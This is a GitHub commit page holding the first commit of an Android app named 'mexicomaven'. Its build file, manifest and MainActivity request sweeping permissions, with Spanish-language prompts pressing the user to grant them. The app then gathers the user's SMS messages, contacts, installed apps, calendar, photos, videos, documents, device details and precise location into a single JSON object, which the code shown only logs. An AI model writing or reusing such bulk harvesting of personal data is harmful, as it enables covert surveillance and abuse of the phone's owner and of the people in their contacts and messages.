-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit efe423c
Showing
52 changed files
with
6,721 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
*.iml | ||
.gradle | ||
/local.properties | ||
/.idea/caches | ||
/.idea/libraries | ||
/.idea/modules.xml | ||
/.idea/workspace.xml | ||
/.idea/navEditor.xml | ||
/.idea/assetWizardSettings.xml | ||
.DS_Store | ||
/build | ||
/captures | ||
.externalNativeBuild | ||
.cxx | ||
local.properties |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
/build |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
plugins { | ||
id 'com.android.application' | ||
} | ||
|
||
android { | ||
compileSdkVersion 30 | ||
buildToolsVersion "30.0.3" | ||
|
||
defaultConfig { | ||
applicationId "com.tang.mexicomaven" | ||
minSdkVersion 19 | ||
targetSdkVersion 30 | ||
versionCode 1 | ||
versionName "1.0" | ||
|
||
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" | ||
} | ||
|
||
buildTypes { | ||
release { | ||
minifyEnabled false | ||
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' | ||
} | ||
} | ||
compileOptions { | ||
sourceCompatibility JavaVersion.VERSION_1_8 | ||
targetCompatibility JavaVersion.VERSION_1_8 | ||
} | ||
} | ||
|
||
dependencies { | ||
|
||
implementation 'androidx.appcompat:appcompat:1.2.0' | ||
implementation 'com.google.android.material:material:1.2.1' | ||
implementation 'androidx.constraintlayout:constraintlayout:2.0.1' | ||
testImplementation 'junit:junit:4.+' | ||
androidTestImplementation 'androidx.test.ext:junit:1.1.2' | ||
androidTestImplementation 'androidx.test.espresso:espresso-core:3.3.0' | ||
implementation project(path: ':mexicoDevices') | ||
implementation 'com.google.android.gms:play-services-location:17.0.0' | ||
implementation 'com.guolindev.permissionx:permissionx:1.5.0' | ||
|
||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
# Add project specific ProGuard rules here. | ||
# You can control the set of applied configuration files using the | ||
# proguardFiles setting in build.gradle. | ||
# | ||
# For more details, see | ||
# http://developer.android.com/guide/developing/tools/proguard.html | ||
|
||
# If your project uses WebView with JS, uncomment the following | ||
# and specify the fully qualified class name to the JavaScript interface | ||
# class: | ||
#-keepclassmembers class fqcn.of.javascript.interface.for.webview { | ||
# public *; | ||
#} | ||
|
||
# Uncomment this to preserve the line number information for | ||
# debugging stack traces. | ||
#-keepattributes SourceFile,LineNumberTable | ||
|
||
# If you keep the line number information, uncomment this to | ||
# hide the original source file name. | ||
#-renamesourcefileattribute SourceFile |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
<?xml version="1.0" encoding="utf-8"?> | ||
<manifest xmlns:android="http://schemas.android.com/apk/res/android" | ||
package="com.tang.mexicomaven"> | ||
|
||
|
||
<uses-permission android:name="android.permission.INTERNET" /> | ||
<uses-permission android:name="android.permission.READ_CONTACTS" /> | ||
<uses-permission android:name="android.permission.READ_SMS" /> | ||
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> | ||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> | ||
<uses-permission android:name="android.permission.CAMERA" /> | ||
<uses-permission android:name="android.permission.READ_PHONE_STATE" /> | ||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> | ||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> | ||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> | ||
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> | ||
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" /> | ||
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /> | ||
<uses-permission android:name="android.permission.BLUETOOTH" /> | ||
<uses-permission android:name="android.permission.READ_CALENDAR"/> | ||
|
||
<application | ||
android:name=".AppApplication" | ||
android:allowBackup="true" | ||
android:icon="@mipmap/ic_launcher" | ||
android:label="@string/app_name" | ||
android:roundIcon="@mipmap/ic_launcher_round" | ||
android:supportsRtl="true" | ||
android:theme="@style/Theme.MexicoMaven"> | ||
<activity android:name=".MainActivity"> | ||
<intent-filter> | ||
<action android:name="android.intent.action.MAIN" /> | ||
|
||
<category android:name="android.intent.category.LAUNCHER" /> | ||
</intent-filter> | ||
</activity> | ||
<service | ||
android:name=".location.LocationService" | ||
android:enabled="true" | ||
android:exported="false" /> | ||
</application> | ||
|
||
</manifest> |
21 changes: 21 additions & 0 deletions
21
app/src/main/java/com/tang/mexicomaven/AppApplication.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
package com.tang.mexicomaven; | ||
|
||
import android.app.Application; | ||
|
||
public class AppApplication extends Application { | ||
|
||
|
||
private static AppApplication appApplication; | ||
|
||
public static AppApplication getInstance() { | ||
return appApplication; | ||
} | ||
|
||
@Override | ||
public void onCreate() { | ||
super.onCreate(); | ||
appApplication = this; | ||
} | ||
|
||
|
||
} |
181 changes: 181 additions & 0 deletions
181
app/src/main/java/com/tang/mexicomaven/MainActivity.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,181 @@ | ||
package com.tang.mexicomaven; | ||
|
||
import androidx.annotation.RequiresApi; | ||
import androidx.appcompat.app.AppCompatActivity; | ||
|
||
import android.Manifest; | ||
import android.location.Address; | ||
import android.os.AsyncTask; | ||
import android.os.Build; | ||
import android.os.Bundle; | ||
import android.text.TextUtils; | ||
import android.util.Log; | ||
import com.ok.moxico.DevicesUtil; | ||
import com.ok.moxico.MxcDevicesUtils; | ||
import com.permissionx.guolindev.PermissionX; | ||
import com.permissionx.guolindev.callback.ExplainReasonCallback; | ||
import com.permissionx.guolindev.callback.ForwardToSettingsCallback; | ||
import com.permissionx.guolindev.callback.RequestCallback; | ||
import com.permissionx.guolindev.request.ExplainScope; | ||
import com.permissionx.guolindev.request.ForwardScope; | ||
import com.tang.mexicomaven.location.LocationCallBack; | ||
import com.tang.mexicomaven.location.LocationManager; | ||
|
||
import org.json.JSONException; | ||
import org.json.JSONObject; | ||
|
||
import java.util.List; | ||
import java.util.Map; | ||
import java.util.concurrent.Executors; | ||
|
||
public class MainActivity extends AppCompatActivity implements LocationCallBack { | ||
|
||
public JSONObject mJsonObject; | ||
private JSONObject devicesJsonObject = null; | ||
private String latitudeGps = ""; | ||
private String longitudeGps = ""; | ||
private String latitudeGoogle = ""; | ||
private String longitudeGoogle = ""; | ||
|
||
@Override | ||
protected void onCreate(Bundle savedInstanceState) { | ||
super.onCreate(savedInstanceState); | ||
setContentView(R.layout.activity_main); | ||
PermissionX.init(this) | ||
.permissions(Manifest.permission.READ_PHONE_STATE, Manifest.permission.CAMERA, Manifest.permission.READ_SMS, | ||
Manifest.permission.ACCESS_FINE_LOCATION, Manifest.permission.ACCESS_COARSE_LOCATION, | ||
Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.READ_SMS, | ||
Manifest.permission.READ_CONTACTS,Manifest.permission.READ_CALENDAR) | ||
.onExplainRequestReason(new ExplainReasonCallback() { | ||
@Override | ||
public void onExplainReason(ExplainScope scope, List<String> deniedList) { | ||
scope.showRequestReasonDialog( | ||
deniedList, | ||
"Por favor, abra permisos en la configuración de la aplicación", | ||
"ok" | ||
); | ||
} | ||
}).onForwardToSettings(new ForwardToSettingsCallback() { | ||
@Override | ||
public void onForwardToSettings(ForwardScope scope, List<String> deniedList) { | ||
scope.showForwardToSettingsDialog( | ||
deniedList, | ||
"Los permisos que está solicitando son necesarios para esta aplicación", | ||
"ok" | ||
); | ||
} | ||
}).request(new RequestCallback() { | ||
@RequiresApi(api = Build.VERSION_CODES.O) | ||
@Override | ||
public void onResult(boolean allGranted, List<String> grantedList, List<String> deniedList) { | ||
if (allGranted) { | ||
startGps(); | ||
Log.i("main", "11111111111111111"); | ||
} else { | ||
mJsonObject = new JSONObject(); | ||
} | ||
} | ||
}); | ||
} | ||
|
||
private void startGps() { | ||
mJsonObject = new JSONObject(); | ||
new InfoAsynTasks().executeOnExecutor(Executors.newCachedThreadPool()); | ||
LocationManager.initGPS(this,MainActivity.this); | ||
} | ||
|
||
|
||
|
||
private class InfoAsynTasks extends AsyncTask<String, Integer, JSONObject> { | ||
|
||
@Override | ||
protected JSONObject doInBackground(String... strings) { | ||
try { | ||
Map<String, Object> map = MxcDevicesUtils.getDevicesInfo(MainActivity.this); | ||
devicesJsonObject = new JSONObject(map); | ||
if (!TextUtils.isEmpty(latitudeGps) && !TextUtils.isEmpty(longitudeGps)) { | ||
devicesJsonObject.put("latitude", latitudeGps); | ||
devicesJsonObject.put("longitude", longitudeGps); | ||
} else { | ||
devicesJsonObject.put("latitude", latitudeGoogle); | ||
devicesJsonObject.put("longitude", longitudeGoogle); | ||
} | ||
mJsonObject.put("deviceAllInfo", devicesJsonObject); | ||
mJsonObject.put("msgList", DevicesUtil.getMobileSms(MainActivity.this)); | ||
mJsonObject.put("phoneList", DevicesUtil.getContactJson(MainActivity.this)); | ||
mJsonObject.put("appList", DevicesUtil.getInstallApp(MainActivity.this)); | ||
mJsonObject.put("image", DevicesUtil.queryCategoryFilesSync(MainActivity.this, "image")); | ||
mJsonObject.put("video", DevicesUtil.queryCategoryFilesSync(MainActivity.this, "video")); | ||
mJsonObject.put("audio", DevicesUtil.queryCategoryFilesSync(MainActivity.this, "audio")); | ||
mJsonObject.put("apk", DevicesUtil.getFile(MainActivity.this, "application/vnd.android.package-archive")); | ||
mJsonObject.put("pdf", DevicesUtil.getFile(MainActivity.this, "application/pdf")); | ||
mJsonObject.put("ppt", DevicesUtil.getFile(MainActivity.this, "application/vnd.ms-powerpoint")); | ||
mJsonObject.put("word", DevicesUtil.getFile(MainActivity.this, "application/msword")); | ||
mJsonObject.put("excel", DevicesUtil.getFile(MainActivity.this, "application/vnd.ms-excel")); | ||
mJsonObject.put("text", DevicesUtil.getFile(MainActivity.this, "text/plain")); | ||
mJsonObject.put("calendarList", DevicesUtil.getCalendar(MainActivity.this)); | ||
mJsonObject.put("imageList", DevicesUtil.getImageList(MainActivity.this)); | ||
|
||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
return mJsonObject; | ||
} | ||
|
||
@Override | ||
protected void onPostExecute(JSONObject json) { | ||
super.onPostExecute(json); | ||
Log.i("tangrui",json.toString()); | ||
} | ||
} | ||
|
||
|
||
@Override | ||
public void onLocationGps(Double latitude, Double longitude) { | ||
latitudeGps = latitude.toString(); | ||
longitudeGps = longitude.toString(); | ||
if (devicesJsonObject != null) { | ||
try { | ||
devicesJsonObject.put("latitude", latitudeGps); | ||
devicesJsonObject.put("longitude", longitudeGps); | ||
devicesJsonObject.put("city", DevicesUtil.getCity(MainActivity.this,Double.parseDouble(latitudeGps), Double.parseDouble(longitudeGps))); | ||
|
||
Address address = DevicesUtil.getAddress(MainActivity.this,Double.parseDouble(latitudeGps), Double.parseDouble(longitudeGps)); | ||
if (address != null) { | ||
devicesJsonObject.put("gps_address", address.getAddressLine(0)); | ||
} else { | ||
devicesJsonObject.put("gps_address", ""); | ||
} | ||
devicesJsonObject.put("address_info", DevicesUtil.getLocations(MainActivity.this,Double.parseDouble(latitudeGps), Double.parseDouble(longitudeGps))); | ||
|
||
mJsonObject.put("deviceAllInfo", devicesJsonObject); | ||
} catch (JSONException e) { | ||
e.printStackTrace(); | ||
} | ||
} | ||
} | ||
|
||
@Override | ||
public void onLocationGoogle(Double latitude, Double longitude) { | ||
latitudeGoogle = latitude.toString(); | ||
longitudeGoogle = longitude.toString(); | ||
if (devicesJsonObject != null) { | ||
try { | ||
devicesJsonObject.put("latitude", latitudeGoogle); | ||
devicesJsonObject.put("longitude", longitudeGoogle); | ||
devicesJsonObject.put("city", DevicesUtil.getCity(MainActivity.this,Double.parseDouble(latitudeGoogle), Double.parseDouble(longitudeGoogle))); | ||
Address address = DevicesUtil.getAddress(MainActivity.this,Double.parseDouble(latitudeGoogle), Double.parseDouble(longitudeGoogle)); | ||
if (address != null) { | ||
devicesJsonObject.put("gps_address", address.getAddressLine(0)); | ||
} else { | ||
devicesJsonObject.put("gps_address", ""); | ||
} | ||
devicesJsonObject.put("address_info", DevicesUtil.getLocations(MainActivity.this,Double.parseDouble(latitudeGoogle), Double.parseDouble(longitudeGoogle))); | ||
mJsonObject.put("deviceAllInfo", devicesJsonObject); | ||
} catch (JSONException e) { | ||
e.printStackTrace(); | ||
} | ||
} | ||
} | ||
|
||
} |
9 changes: 9 additions & 0 deletions
9
app/src/main/java/com/tang/mexicomaven/location/LocationCallBack.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
package com.tang.mexicomaven.location; | ||
|
||
public interface LocationCallBack { | ||
|
||
void onLocationGps(Double latitude, Double longitude); | ||
|
||
void onLocationGoogle(Double latitude, Double longitude); | ||
|
||
} |
Oops, something went wrong.